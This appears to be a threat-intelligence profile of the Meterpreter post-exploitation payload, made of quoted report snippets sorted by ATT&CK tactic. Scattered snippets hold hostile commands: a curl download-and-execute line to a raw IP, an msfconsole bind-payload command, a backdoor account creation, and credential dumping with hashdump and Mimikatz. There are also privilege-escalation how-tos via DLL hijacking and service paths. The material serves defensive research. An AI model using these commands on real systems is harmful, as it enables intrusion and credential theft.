Meterpreter
- Type
- RAT
- Capabilities
- Post exploitationReconnaissanceCredential theftPrivilege escalationLateral movement
- Delivery
- Spearphishing
- Platforms
- WindowsLinuxAndroid
Meterpreter is an extensible remote-access and post-exploitation payload within the Metasploit Framework, used in authorized penetration testing and malicious intrusions. It provides interactive control of compromised systems through sessions that can use reverse TCP or HTTPS connections. Its capabilities include command execution, system and security-context discovery, credential extraction through extensions, privilege-escalation functionality, and network routing to support access to internal systems. Windows, Linux, Android, and PHP-based payload implementations support deployment across endpoint, mobile, and server environments.
Attackers deploy Meterpreter after exploiting exposed services, establishing web-shell access, or compromising systems through other malware. BumbleBee and Pikabot have delivered it as a follow-on payload, while Android payload-generation workflows can embed it into otherwise legitimate applications. Observed users include Guacamaya, UAT-10147, and Citrus. Guacamaya used Meterpreter during intrusions against Guatemalan nickel-mining companies, including credential extraction through its kiwi extension and routing into additional network segments. Meterpreter is not itself ransomware, although attackers use it within operations that subsequently deploy ransomware. A Meterpreter session does not inherently survive a reboot; persistent access requires a separate persistence mechanism.
Associated vulnerabilities
54 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
42 more CVEs associated with this family tracked in Mallory.
Associated threat actors
40 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
A crowded toolbox behind the implant: in-memory ASHX web shells that compile via CodeDomProvider and authenticate on an X-ID header token (returning a decoy 404 otherwise), BadIIS malware-as-a-service and a SeoEngineHandler tuned to Vietnamese users and the Coc Coc crawler, plus Gh0stCringe (shellcode inside a Go loader), QuasarRAT, Meterpreter and Noodle RAT for redundant persistence.
The operators used the ProxyLogon chain to place an ASPX web shell and start a reverse HTTPS Meterpreter session.
MD5 (Meterpreter stager) 7107fb029e7c63523e3aca5fc8e56b38 2341.exe
Under the heading “Modified Meterpreter Payload Steals System Data,” the report describes a decoded backdoor using a reflective loader and identifies payload versions 1.1.5 and 1.1.7.
The IOC corpus labels seven staged artifacts “Metasploit / Meterpreter (staged on C2)”.
+34 more in the app. View in Mallory
Techniques & procedures
130 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
5 techniques
Resource Development
On March 31, threat researcher @salmanvsf ... flagged a Metasploit payload ... calling back to a Vultr VPS in Singapore at 45.76.180[.]12.
APT actors created and used a variant of Metasploit (Meterpreter) on the ServiceDesk system, listed as wkHPd.exe.
The operator leverages the open-source Exegol framework directly on its C2.
Annotations ID Technique Tactic T1608 Stage Capabilities Resource Development
The repository hosted PowerShell scripts, PickleShell payloads, and repeatedly updated C2 configuration until early June 2026.
Initial Access
9 techniques
Initial Access
“We found Earth Estries compromising existing accounts with administrative privileges after it successfully infected one of the organization’s internal servers.”
DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.
[*] Started reverse TCP handler on 172.18.0.1:4444 ... [*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:34664)
We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer... they compromised several sites, including a well-known Uyghur website written in that native language. | Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors.
Guacamaya scanned the public Exchange server, confirmed ProxyLogon, adjusted a Metasploit module, and obtained a Meterpreter session.
“Those installers can be backdoored without breaking them though. Next time an administrator runs it, the backdoor executes under their privileges.”
The group usually launches spear phishing attacks against national defense, defense industries, media, diplomacy, national organizations, and academic sectors.
There, the victim downloads a Word document that supposedly contains the giveaway results. When the document is opened, the user is prompted to enable macros to view the content.
The attack starts when the victim receives a WhatsApp message promoting a fake iPhone giveaway and follows the link to a website impersonating apple.com .
Execution
22 techniques
Execution
“Through the Server Message Block (SMB) and WMI command line (WMIC), the threat actors propagated backdoors and hacking tools…”
On Windows Server, when the malware is executed, it self-replicates and is registered in the scheduler.
XMRig 마이너는 이후 작업 스케줄러에 등록되어 주기적으로 실행된다.
Tools SpicyOmelette, Cobalt Strike, Meterpreter, Mimikatz, CobtInt, ATMSpitter, Carbanak, Buhtrap, Cyst, Metasploit
Support command execution, command staging, direct x64 payloads, and external or in-process PowerShell payload delivery.
[*] Executing payload: C:\Windows\System32\cmd.exe /c C:\Windows\System32\fodhelper.exe
"Sending the payload through LogRetrieval" followed by "The CGI shell launched the payload command."
Running oledump.py shows that the document contains macros... Olevba analyzes VBA macros and shows suspicious behavior such as auto-execution, obfuscation, and network activity.
«Пост-эксплуатация (T1059.006, Python, Execution): 70+ пост-эксплуатационных команд».
Then, add process injection logic via VirtualAllocEx, WriteProcessMemory and CreateRemoteThread
These threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After Delivery) of MITRE ATT&CK framework.
The attacker specifies which class name should be loaded (classFile) and the code automatically calls method start() within this class.
Opening the crafted .lst file with Audio Media Player triggers a crash; the final exploit replaces the controlled buffer with shellcode and obtains a Meterpreter session.
curl -so ./BmeESovTlTw http://100.124.46.196:8080/Peslj03-ZQfSqcXGAvlH-A;chmod +x ./BmeESovTlTw;./BmeESovTlTw&
Теперь попробуем собрать тестовый исполняемый файл и закинуть его на смартфон... После успешного создания файла ... перекидываем его ... на целевой смартфон.
The second category of TCP reverse shells lets the main process handle the entire network connection and uses a child to execute the shell. Communication between parent and child can be achieved in many different ways, but common tooling heavily relies on unnamed pipes or socketpairs.
Use the new service executable template technique ... /out:template_x64_windows_svc.exe ... exploit(windows/smb/psexec) ... [*] 192.168.159.10:445 - Uploading payload... PBBcIdul.exe ... [+] 192.168.159.10:445 - Service started successfully...
This malicious DLL needs to be dropped in one of the folders that windows are loading DLL files. As it can be see below when the service restarted a Meterpreter session opened with SYSTEM privileges through DLL hijacking.
If these DLL’s doesn’t exist or are implemented in an insecure way (DLL’s are called without using a fully qualified path) then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.
icacls confirms every authenticated user has full control over the binary. Replace it with a Meterpreter payload and wait for the scheduler to complete the chain.
Registry keys for the services that are running on the system can be found in the following registry path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services... If a standard user has permissions to modify the registry key “ImagePath”... he could escalate privileges to system... The next time that the service will restart, the custom payload will be executed instead of the service binary.
[*] Created container 88f2e8a73fca, starting it to launch the payload on the host
Persistence
13 techniques
Persistence
The MultiDexApplication constructor starts the malicious service, Xmevv. That’s how everything begins.
On Windows Server, when the malware is executed, it self-replicates and is registered in the scheduler.
XMRig 마이너는 이후 작업 스케줄러에 등록되어 주기적으로 실행된다.
“We found Earth Estries compromising existing accounts with administrative privileges after it successfully infected one of the organization’s internal servers.”
[*] Configuring payload and stager registry keys ... [*] Cleaning up registry keys ...
[*] Started reverse TCP handler on 172.18.0.1:4444 ... [*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:34664)
Meterpreter バックドア、HTran ポートフォワーディングツールをインストールしたあと、攻撃者は攻撃対象のシステムに対し、持続性の維持および拠点確保のために net コマンドで攻撃者アカウントを作成した。... 2024.04.09 05:04:51 net user kr$ test123!@# /add
On Windows Server, the attacker created the default account in the administrators group and created a tool after granting privileges.
"LogRetrieval will remain an unauthenticated CGI endpoint until N-central is restarted" and "The CGI shell launched the payload command."
systemd-run --collect setsid
If you can place a plist file inside LaunchAgents/LaunchDaemons, the command inside will also be executed... And run: launchctl load test.plist And I get my shell again.
The NPS client (NPC) renamed WindowsUpdate.exe and registered as a service, running next to a Cobalt Strike beacon and Meterpreter.
Finally, we’ll name the LNK file something innocuous and place it in the Windows Startup folder as our persistence mechanism.
Privilege Escalation
16 techniques
Privilege Escalation
The MultiDexApplication constructor starts the malicious service, Xmevv. That’s how everything begins.
On Windows Server, when the malware is executed, it self-replicates and is registered in the scheduler.
XMRig 마이너는 이후 작업 스케줄러에 등록되어 주기적으로 실행된다.
ImagingDevices.exe was launched via WmiPrivse.exe and a Meterpreter agent was injected into the process.
the DLL file to be executed is injected into the normal process (rundll32.exe) and executed.
afk.ttf "uses an injection technique" known as Early Bird injection to inject shellcode into a suspended nslookup process before its main thread entry point.
«Локальный пользователь с минимальными привилегиями повышает их до root. По MITRE ATT&CK — техника T1068 (Exploitation for Privilege Escalation, тактика Privilege Escalation)».
“We found Earth Estries compromising existing accounts with administrative privileges after it successfully infected one of the organization’s internal servers.”
Framework: MITRE ATT&CK Tactic: Name: Privilege Escalation Id: TA0004 ... Technique: Name: Access Token Manipulation Id: T1134 ... Sub Technique: Name: Token Impersonation/Theft Id: T1134.001
Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload. | In addition to these methods, both tools also support a third method that involves token manipulation.
systemd-run --collect setsid
If you can place a plist file inside LaunchAgents/LaunchDaemons, the command inside will also be executed... And run: launchctl load test.plist And I get my shell again.
The NPS client (NPC) renamed WindowsUpdate.exe and registered as a service, running next to a Cobalt Strike beacon and Meterpreter.
Finally, we’ll name the LNK file something innocuous and place it in the Windows Startup folder as our persistence mechanism.
Le module « dispatche le payload root via ctrl-service / cmsSnmpTrap » et ouvre une session Meterpreter avec « Server username: root ».
Several failed attempts to bypass UAC occurred, utilizing the WSReset method, followed by a failed attempt to bypass UAC utilizing the slui hijacking method.
Stealth
33 techniques
Stealth
[*] This is where the zipslip happens... ../../../../../../ (levels: 6)
“The crypter includes a predefined 5-round shikata_ga_nai encoded Metasploit meterpreter bind payload.”
Few times after the report of APT19, the group have deleted the export reference in using ordinal way used for allow to use the beacon of Cobalt Strike with a custom DLL. This has by example rename as "execute".
Azure user account downloaded bitmap.exe ... to execute an obfuscated, embedded malicious payload from its C2 server.
Description Detects command obfuscation by using a technique to build a target command using character indexes from environment variables. This hides the true intent of the command by building it on the fly. In Windows command prompt, you can use the :~ format to extract substrings from environment variable values. This behavior has been observed in various malware families, including Cobalt Strike and Meterpreter.
“its main purpose is to conceal the real identity and functionality of a payload from antivirus software” and the crypter encrypts the supplied payload using Camellia-256-CBC.
The idea is to avoid sandbox analysis since it's a simple "legit" image.
MITRE ATT&CK Mapping Technique ID Evidence Masquerading: Match Legitimate Name or Location T1036.005 chrome_update.exe , windows_kb5023789.zip
ImagingDevices.exe was launched via WmiPrivse.exe and a Meterpreter agent was injected into the process.
the DLL file to be executed is injected into the normal process (rundll32.exe) and executed.
afk.ttf "uses an injection technique" known as Early Bird injection to inject shellcode into a suspended nslookup process before its main thread entry point.
“threat actors regularly cleaned their existing backdoor after finishing each round of operation and redeployed a new piece of malware…”
Чтобы на компьютерах и мобильных устройствах не осталось следов тестирования ... Удаление приложения ... Найдите созданные файлы логов ... Перенесите их в корзину и обязательно очистите ее.
“We found Earth Estries compromising existing accounts with administrative privileges after it successfully infected one of the organization’s internal servers.”
These threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After Delivery) of MITRE ATT&CK framework.
Framework: MITRE ATT&CK Tactic: Name: Privilege Escalation Id: TA0004 ... Technique: Name: Access Token Manipulation Id: T1134 ... Sub Technique: Name: Token Impersonation/Theft Id: T1134.001
Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload. | In addition to these methods, both tools also support a third method that involves token manipulation.
“a separate decrypter needs to take up the key, IV and ciphertext ... decrypt it in memory and execute the final payload on the target system.”
This threat demonstrates several techniques of the MITRE ATT&CK framework, most notably T1202 - Indirect Command Execution
the method of having the regsvr32.exe process running the malware is the same as the method used by the Kimsuky group from the past. The malware used in the attacks is in DLL file format and runs after being loaded by the regsvr32.exe process.
Even more direct instances of post-exploitation activity, such as recently-identified use of Log4j exploitation to install Dridex or Meterpreter, requires follow-on functionality (either MSHTA in Windows environments or a Python script in Linux environments) for effectiveness.
it is possible to bypass AppLocker script rules by calling the regsrv32 utility to execute a command or arbitrary code through .sct files.
The second GetSystem method uses rundll32.exe and a few hardcoded command line options to execute a DLL for privilege escalation. Thankfully, the command line options are consistent and appear similar to this: rundll32.exe C:\Users\user\AppData\Local\Temp\fvxens.dll,a /p:fvxens
From June 2021 through May 2022, Proofpoint observed an ongoing phishing campaign which involved malicious RTF attachments weaponized through template injection.
Command: run post/windows/gather/checkvm Status: complete ... [+] This is a Hyper-V Virtual Machine running on physical host HYPERV
Hide the icon’s application if requested: if ((config.flags & Config.FLAG_HIDE_APP_ICON) != 0) { hideAppIcon(); }
The final execution will set “WindowStyle” to hidden and “CreateNoWindow” to True, which is to put itself out of sight.
Alternate data streams (ADS) are a little-known but potent feature of the NTFS file system that enable data to be hidden within files—without altering their visible size or content. | Cybercriminals are increasingly using ADS to hide malicious payloads, tools, or data in a way that bypasses traditional detection methods.
This malicious DLL needs to be dropped in one of the folders that windows are loading DLL files. As it can be see below when the service restarted a Meterpreter session opened with SYSTEM privileges through DLL hijacking.
If these DLL’s doesn’t exist or are implemented in an insecure way (DLL’s are called without using a fully qualified path) then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.
icacls confirms every authenticated user has full control over the binary. Replace it with a Meterpreter payload and wait for the scheduler to complete the chain.
Registry keys for the services that are running on the system can be found in the following registry path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services... If a standard user has permissions to modify the registry key “ImagePath”... he could escalate privileges to system... The next time that the service will restart, the custom payload will be executed instead of the service binary.
The Lua script decodes embedded shellcode, allocates executable memory, copies the shellcode, and executes it; Meterpreter-related shellcode then reflectively loads MIMICRAT into memory.
Defense Impairment
4 techniques
Defense Impairment
[*] Configuring payload and stager registry keys ... [*] Cleaning up registry keys ...
"wget; chmod; payload" and "chmod"
On macOS Mojave Gatekeeper only verifies executables, which are run with the open command or the user double clicks. It won’t verify files, that are executed through other means like, directly executing a binary ./myapp regardless of the quarantine attribute.
При попытке установить полученный файл на телефон встроенный антивирус Google Play Защита моментально блокирует операцию, из-за чего приходится ... временно отключить тумблеры сканирования.
Credential Access
8 techniques
Credential Access
The content uses Meterpreter `hashdump`, Mimikatz `lsadump::sam`, Impacket `secretsdump.py`, and CrackMapExec `--sam` to obtain credentials.
The operator migrates into `lsass.exe`; alternatively, Task Manager is used to create an LSASS dump for offline reading with Minidump.
`hashdump` extracts local user password hashes from the SAM database; Mimikatz is invoked with `lsadump::sam`.
Mimikatz (via Meterpreter’s kiwi extension) dumped LSA secrets and exposed the password of a service account that was already in Domain Admins.
“use of Meterpreter… with the mimikatz module to perform DCSync attacks… extract NTLM password hashes from Active Directory… obtained complete domain credential databases.”
DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.
Attackers are increasingly turning to stealing the “cookies” associated with credentials to clone active or recent web sessions—bypassing MFA in the process.
The walkthrough locates and reads `secrets.txt` and `realsecret.txt`, including a disclosed Twitter password.
Discovery
15 techniques
Discovery
Meterpreter collects “IP routing information” by reading “/proc/net/route”, “/proc/net/ipv6_route”, and “/proc/net/if_inet6”.
APT41 used the WMIEXEC utility to execute whoami commands on remote machines; FIN10 used Meterpreter to enumerate users on remote systems; Operation Wocao enumerated sessions and users on a remote host.
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Use in conjunction with other contextual indicators, for example detect Network discovery and Lateral movement attempts by unusual hassh such as those used by Paramiko, Powershell, Ruby, Meterpreter, Empire.
Executes the shell “ netstat ” command. The expect routine checks for a string containing the word “Protocol” as an indication of success.
This process then utilized nltest, net, tasklist, and whoami to perform reconnaissance.
C:\Windows\system32\cmd.exe /C net group "domain admins" /domain
`sysinfo` displays the target system's hostname, OS, and domain information.
`search -f secrets.txt -d "C:\Program Files (x86)"` and `Get-ChildItem ... -Filter "*secret*" -Recurse` are used to locate secret files.
The Meterpreter rule detects reads of “/etc/passwd” as part of its default collection of machine, user, and routing information.
Command: run post/windows/gather/enum_shares ... [*] No network shares were found
C:\Windows\system32\cmd.exe /C nltest /domain_trusts
Command: run post/windows/gather/checkvm Status: complete ... [+] This is a Hyper-V Virtual Machine running on physical host HYPERV
Command: run post/windows/gather/enum_applications
geolocate — если у приложения есть доступ к службам геолокации, эта команда отправляет запрос к GPS-модулю телефона, собирает координаты.
Lateral Movement
7 techniques
Lateral Movement
GOLD KINGSWOOD is a cybercriminal group that uses tactics more commonly associated with government-sponsored threat actors to infiltrate the internal networks of financial institutions around the globe.
We can observe the SMB pipe used as pivoting method for the implant to run.
Meterpreter (the Metasploit Interpreter) enables users to control the screen of a device using VNC
Ensure the warnings no longer appear when running winrm against metasploitablee so these warnings no longer appear: bundle && bundle exec ruby ./msfconsole --no-defer-module-loads -qx 'use windows/winrm/winrm_script_exec; run username=vagrant password=vagrant rhost=10.140.10.33 payload=windows/x64/meterpreter/bind_tcp'
DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.
“By sending specially crafted requests, an unauthenticated remote attacker may be able to execute operating system commands in the context of the site user.”
Adversaries may transfer tools or other files between systems in a compromised environment.
Collection
8 techniques
Collection
dump_contacts — полностью скачиваем телефонную книгу ... dump_sms — успешно выгружаем историю текстовых сообщений со смартфона в файл.
DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.
offre des fonctions comme le contrôle du système, l’exécution de commandes, la capture d’écran
Запись микрофона record_mic выдает файл с абсолютной тишиной.
Самым сложным этапом становится попытка включить живой стрим с камеры командой webcam_stream -i 2.
The tool, released today on the SophosLabs Github, simplifies the task of obtaining either complete inbox contents (in the form of an Exchange-format .pst file) from a previously-compromised server, or partial contents based on filtering rules...
Once the Red Team discovers the email account of a person or people they’re interested in, the EXPORT command pulls data down from the Exchange server in the form of a .pst file.
MITRE ATT&CK Mapping Technique ID Evidence Archive Collected Data: Archive via Utility T1560.001 Password-protected ZIP ( kurulum.zip , password: test )
Command and Control
15 techniques
Command and Control
Supporting "wrapping" and "unwrapping" of payloads based on the C2 profile, which means that suffixes and prefixes are used based on what the configuration indicates.
Retrieve Meterpreter Java payloads from, and establish sessions to, 194.180.48[.]134.
start a reverse HTTPS Meterpreter session.
Industrial Spy ransomware actors use HTTP/HTTPS proxy via a C2 server to direct traffic to avoid direct connection.
PsExec moved the session to an internal server, Meterpreter added routes, and a SOCKS proxy made the rest of the network reachable.
The final payload is described as "windows/meterpreter/reverse_tcp" with a configured LHOST and LPORT.
The Sysdig rule 'Reverse Shell Detected' ... tags : [falco_feed, host, container, MITRE, MITRE_TA0002_execution, MITRE_T1059_command_and_scripting_interpreter, MITRE_T1104_multi_stage_channels]
Support command execution, command staging, direct x64 payloads, and external or in-process PowerShell payload delivery.
Support encoding/decoding of data from C2 profile
Supporting "wrapping" and "unwrapping" of payloads based on the C2 profile, which means that suffixes and prefixes are used based on what the configuration indicates.
The August socket stager delivered a Metasploit Meterpreter stage, and the operator held an interactive Meterpreter session on the host before delivering LF3.
MITRE ATT&CK Mapping ... Non-Standard Port T1571 Ports 4040, 2083, 8181, 11601
“using a Meterpreter proxy or reverse SSH tunnel that camera becomes a proxy for attacking other reachable hosts on the network.”
The first payload was identified as a reverse_tcp_rc4 Meterpreter stager with RC4Key set to killervulture123. The second payload used RC4 with the key intrepidmango.
Property Value ... Encryption RSA key exchange + AES bulk ... MITRE ATT&CK Mapping ... Encrypted Channel: Asymmetric Cryptography T1573.002 RSA+AES in stageless Meterpreter
Exfiltration
1 technique
Exfiltration
The group exfiltrates sensitive information for extortion; the report notes that BUGHATCH, Meterpreter, and Cobalt Strike all have data-movement capabilities, and SystemBC Tor communications could provide a clandestine exfiltration path.
Impact
1 technique
Impact
“The shared Monero wallet links the botnet’s cryptomining payloads to the operator’s own workstation”; IOC paths include “/tmp/.xmrig” and “/tmp/.xr”.
Observables
417 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.